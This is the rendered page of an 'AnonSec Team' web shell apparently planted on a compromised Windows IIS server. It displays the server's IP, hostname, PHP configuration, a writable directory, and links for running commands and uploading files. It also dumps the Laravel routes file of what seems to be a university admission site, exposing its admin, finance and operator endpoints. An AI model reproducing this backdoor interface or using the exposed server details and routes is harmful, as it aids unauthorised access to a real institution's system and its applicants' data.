AnonSec Team
Server IP : 103.11.96.170  /  Your IP : 18.223.97.137
Web Server : Microsoft-IIS/10.0
System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
User : elibrary.unsap.ac.id ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  D:/localhost/dev_admission/routes/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : D:/localhost/dev_admission/routes/web.php
<?php

use Laravel\Fortify\Features;
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\AuthController;
use App\Http\Controllers\MabaController;
use App\Http\Controllers\SoalController;
use App\Http\Controllers\KeuanganController;
use App\Http\Controllers\OperatorController;
use App\Http\Controllers\SuperadminController;
use App\Http\Controllers\RekomendasiController;
use Laravel\Fortify\Http\Controllers\RegisteredUserController;
use Laravel\Fortify\Http\Controllers\AuthenticatedSessionController;

/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
/* 
Route::get('/home', function () {
    return redirect('/login');
}); */



Route::get('/', [MabaController::class, 'index'])->name('daftar.maba');
Route::get('/login-maba', [MabaController::class, 'loginmaba'])->name('login.maba');
Route::get('/ujian', [MabaController::class, 'ujian'])->name('ujian.maba');
Route::post('/cekUjian', [MabaController::class, 'cekUjian'])->name('cek.ujian');

Route::post('/login-operator', [AuthController::class, 'authenticate'])->name('login.operator');

Route::post('/simpan-daftar', [MabaController::class, 'simpandaftar'])->name('simpan.daftar');
Route::post('/cekPin', [MabaController::class, 'cekPin'])->name('cek.pin');
Route::get('/reload-captcha', [MabaController::class, 'reloadCaptcha']);

Route::get('/keluar', [MabaController::class, 'keluar'])->name('logout.perform');

Route::get('/keluar_operator', [OperatorController::class, 'logout'])->name('logout.operator');

Route::middleware('authneofeeder')->group(function() {
    Route::prefix('maba')->group(function () {
        Route::get('/dashboard', [MabaController::class, 'home'])->name('home.maba');
        

        Route::get('/send', [MabaController::class, 'sendWa'])->name('home.sendwa');

        Route::post('/update-mhs', [MabaController::class, 'updateMhs'])->name('update.maba');
        Route::post('/upload-bukti', [MabaController::class, 'uploadBukti'])->name('uploadBukti.maba');
        Route::post('/upload-syarat', [MabaController::class, 'uploadSyarat'])->name('uploadSyarat.maba');
        
        Route::get('ref-wilayah-provinsi', [MabaController::class, 'wilayahProvinsi']);
        Route::get('ref-wilayah-kota', [MabaController::class, 'wilayahKota']);
        Route::get('ref-wilayah-kecamatan', [MabaController::class, 'wilayahKecamatan']);

    });
});


Route::middleware('authYPSA')->group(function() {
    Route::prefix('keuangan')->group(function () {
        Route::get('/reload-captcha', [MabaController::class, 'reloadCaptcha']);
        Route::get('/dashboard', [KeuanganController::class, 'index'])->name('keuangan.dashboard');
        
        Route::get('/buatpin', [KeuanganController::class, 'buatpin'])->name('buatpin');
        Route::get('/tambah-pin', [KeuanganController::class, 'tambahpin'])->name('keuangan.tambahpin');
        Route::post('/simpan-pin', [KeuanganController::class, 'simpanpin'])->name('simpan.pin');
        
        Route::get('/transaksi', [KeuanganController::class, 'transaksi'])->name('keuangan.transaksi');

        Route::get('/konfirmasi-bayar', [KeuanganController::class, 'konfirmasi'])->name('keuangan.konfirmasi');
        Route::post('/verifikasi/{id}', [KeuanganController::class, 'verifikasi'])->name('keuangan.verifikasi');

        Route::post('/reminder/{id}', [KeuanganController::class, 'reminder'])->name('keuangan.reminder');

        Route::get('/buatnim', [KeuanganController::class, 'buatnim'])->name('keuangan.buatnim');
        Route::get('/tambah-nim', [KeuanganController::class, 'tambahnim'])->name('keuangan.tambahnim');
        Route::post('/simpan-nim', [KeuanganController::class, 'simpannim'])->name('simpan.nim');

        Route::post('/get-pin', [KeuanganController::class, 'getPin'])->name('keuangan.getpin');
        Route::get('/reload-captcha', [MabaController::class, 'reloadCaptcha']);
        
    });    
    

});

Route::middleware('authYPSA')->group(function() {
    Route::prefix('admin')->group(function () {
        Route::get('/reload-captcha', [MabaController::class, 'reloadCaptcha']);
        Route::get('/dashboard', [SuperadminController::class, 'index'])->name('admin.dashboard');
        
        Route::get('/camaba', [SuperadminController::class, 'camaba'])->name('admin.camaba');
        Route::get('/lihatpdf/{id}', [SuperadminController::class, 'lihatpdf']);
        Route::get('/lihat/{id}', [SuperadminController::class, 'lihatPin'])->name('admin.lihatpin');
        
    });    
    

});


Route::middleware('authPMB')->group(function() {
    Route::prefix('operator')->group(function () {
        Route::get('/rekomendasi', [RekomendasiController::class, 'index'])->name('operator.rekomendasi');
        Route::post('/insert-mhs', [RekomendasiController::class, 'updateMhs'])->name('operator.insertmaba');
        Route::post('/insert-syarat', [RekomendasiController::class, 'uploadSyarat'])->name('operator.insertsyarat');
        Route::get('/selesai-rekom', [RekomendasiController::class, 'selesai'])->name('operator.selesai');

        Route::get('/dashboard', [OperatorController::class, 'index'])->name('operator.dashboard');
        Route::get('/riwayat-daftar', [OperatorController::class, 'riwayat'])->name('operator.riwayatdaftar');
        Route::get('/hasil-kelulusan', [OperatorController::class, 'kelulusan'])->name('operator.hasillulus');

        Route::get('/form-maba', [OperatorController::class, 'formmaba'])->name('operator.formmba');
        Route::post('/update-mhs', [OperatorController::class, 'updateMhs'])->name('operator.updatemaba');
        Route::post('/upload-syarat', [OperatorController::class, 'uploadSyarat'])->name('operator.uploadsyarat');

        Route::get('/lihatpdf/{id}', [OperatorController::class, 'lihatpdf']);

        Route::get('/buatpin', [OperatorController::class, 'buatpin'])->name('operator.buatpin');
        Route::get('/tambah-pin', [OperatorController::class, 'tambahpin'])->name('operator.tambahpin');
        Route::post('/simpan-pin', [OperatorController::class, 'simpanpin'])->name('operator.simpanpin');

        Route::post('/get-pin', [OperatorController::class, 'getPin'])->name('operator.getpin');
        Route::get('/lihat/{id}', [OperatorController::class, 'lihatPin'])->name('operator.lihatpin');
        Route::delete('/hapus/{id}', [OperatorController::class, 'hapus'])->name('hapusmember');
        Route::post('/import-member', [OperatorController::class, 'simpanImport'])->name('import-member');

        Route::get('ref-wilayah-provinsi', [MabaController::class, 'wilayahProvinsi']);
        Route::get('ref-wilayah-kota', [MabaController::class, 'wilayahKota']);
        Route::get('ref-wilayah-kecamatan', [MabaController::class, 'wilayahKecamatan']);
        Route::get('/reload-captcha', [MabaController::class, 'reloadCaptcha']);

         // Registration...
         Route::get('/register', [RegisteredUserController::class, 'create'])
         ->name('register');

            Route::post('/register', [RegisteredUserController::class, 'store']);
        });

        
    
});

Route::group(['middleware' => config('fortify.middleware', ['web'])], function () {
    $enableViews = config('fortify.views', true);

    // Authentication...
    if ($enableViews) {
        Route::get('/login', [AuthenticatedSessionController::class, 'create'])
            ->middleware(['guest:'.config('fortify.guard')])
            ->name('login');
    }

    $limiter = config('fortify.limiters.login');
    $twoFactorLimiter = config('fortify.limiters.two-factor');
    $verificationLimiter = config('fortify.limiters.verification', '6,1');

    Route::post('/login', [AuthenticatedSessionController::class, 'store'])
        ->middleware(array_filter([
            'guest:'.config('fortify.guard'),
            $limiter ? 'throttle:'.$limiter : null,
        ]));

    Route::post('/logout', [AuthenticatedSessionController::class, 'destroy'])
        ->name('logout');

    // Password Reset...
    if (Features::enabled(Features::resetPasswords())) {
        if ($enableViews) {
            Route::get('/forgot-password', [PasswordResetLinkController::class, 'create'])
                ->middleware(['guest:'.config('fortify.guard')])
                ->name('password.request');

            Route::get('/reset-password/{token}', [NewPasswordController::class, 'create'])
                ->middleware(['guest:'.config('fortify.guard')])
                ->name('password.reset');
        }

        Route::post('/forgot-password', [PasswordResetLinkController::class, 'store'])
            ->middleware(['guest:'.config('fortify.guard')])
            ->name('password.email');

        Route::post('/reset-password', [NewPasswordController::class, 'store'])
            ->middleware(['guest:'.config('fortify.guard')])
            ->name('password.update');
    }

    

    // Email Verification...
    if (Features::enabled(Features::emailVerification())) {
        if ($enableViews) {
            Route::get('/email/verify', [EmailVerificationPromptController::class, '__invoke'])
                ->middleware([config('fortify.auth_middleware', 'auth').':'.config('fortify.guard')])
                ->name('verification.notice');
        }

        Route::get('/email/verify/{id}/{hash}', [VerifyEmailController::class, '__invoke'])
            ->middleware([config('fortify.auth_middleware', 'auth').':'.config('fortify.guard'), 'signed', 'throttle:'.$verificationLimiter])
            ->name('verification.verify');

        Route::post('/email/verification-notification', [EmailVerificationNotificationController::class, 'store'])
            ->middleware([config('fortify.auth_middleware', 'auth').':'.config('fortify.guard'), 'throttle:'.$verificationLimiter])
            ->name('verification.send');
    }

    // Profile Information...
    if (Features::enabled(Features::updateProfileInformation())) {
        Route::put('/user/profile-information', [ProfileInformationController::class, 'update'])
            ->middleware([config('fortify.auth_middleware', 'auth').':'.config('fortify.guard')])
            ->name('user-profile-information.update');
    }

    // Passwords...
    if (Features::enabled(Features::updatePasswords())) {
        Route::put('/user/password', [PasswordController::class, 'update'])
            ->middleware([config('fortify.auth_middleware', 'auth').':'.config('fortify.guard')])
            ->name('user-password.update');
    }

    // Password Confirmation...
    if ($enableViews) {
        Route::get('/user/confirm-password', [ConfirmablePasswordController::class, 'show'])
            ->middleware([config('fortify.auth_middleware', 'auth').':'.config('fortify.guard')]);
    }

    Route::get('/user/confirmed-password-status', [ConfirmedPasswordStatusController::class, 'show'])
        ->middleware([config('fortify.auth_middleware', 'auth').':'.config('fortify.guard')])
        ->name('password.confirmation');

    Route::post('/user/confirm-password', [ConfirmablePasswordController::class, 'store'])
        ->middleware([config('fortify.auth_middleware', 'auth').':'.config('fortify.guard')])
        ->name('password.confirm');

    // Two Factor Authentication...
    if (Features::enabled(Features::twoFactorAuthentication())) {
        if ($enableViews) {
            Route::get('/two-factor-challenge', [TwoFactorAuthenticatedSessionController::class, 'create'])
                ->middleware(['guest:'.config('fortify.guard')])
                ->name('two-factor.login');
        }

        Route::post('/two-factor-challenge', [TwoFactorAuthenticatedSessionController::class, 'store'])
            ->middleware(array_filter([
                'guest:'.config('fortify.guard'),
                $twoFactorLimiter ? 'throttle:'.$twoFactorLimiter : null,
            ]));

        $twoFactorMiddleware = Features::optionEnabled(Features::twoFactorAuthentication(), 'confirmPassword')
            ? [config('fortify.auth_middleware', 'auth').':'.config('fortify.guard'), 'password.confirm']
            : [config('fortify.auth_middleware', 'auth').':'.config('fortify.guard')];

        Route::post('/user/two-factor-authentication', [TwoFactorAuthenticationController::class, 'store'])
            ->middleware($twoFactorMiddleware)
            ->name('two-factor.enable');

        Route::post('/user/confirmed-two-factor-authentication', [ConfirmedTwoFactorAuthenticationController::class, 'store'])
            ->middleware($twoFactorMiddleware)
            ->name('two-factor.confirm');

        Route::delete('/user/two-factor-authentication', [TwoFactorAuthenticationController::class, 'destroy'])
            ->middleware($twoFactorMiddleware)
            ->name('two-factor.disable');

        Route::get('/user/two-factor-qr-code', [TwoFactorQrCodeController::class, 'show'])
            ->middleware($twoFactorMiddleware)
            ->name('two-factor.qr-code');

        Route::get('/user/two-factor-secret-key', [TwoFactorSecretKeyController::class, 'show'])
            ->middleware($twoFactorMiddleware)
            ->name('two-factor.secret-key');

        Route::get('/user/two-factor-recovery-codes', [RecoveryCodeController::class, 'index'])
            ->middleware($twoFactorMiddleware)
            ->name('two-factor.recovery-codes');

        Route::post('/user/two-factor-recovery-codes', [RecoveryCodeController::class, 'store'])
            ->middleware($twoFactorMiddleware);
    }
});

Route::get('/soal', SoalController::class);
Route::post('/selesai', [\App\Http\Livewire\SoalUjian::class,'selesai']);

Route::get('/printpdf', [MabaController::class, 'printpdf']);
Route::get('/downloadpdf/{id}', [MabaController::class, 'downloadpdf']);



AnonSec - 2021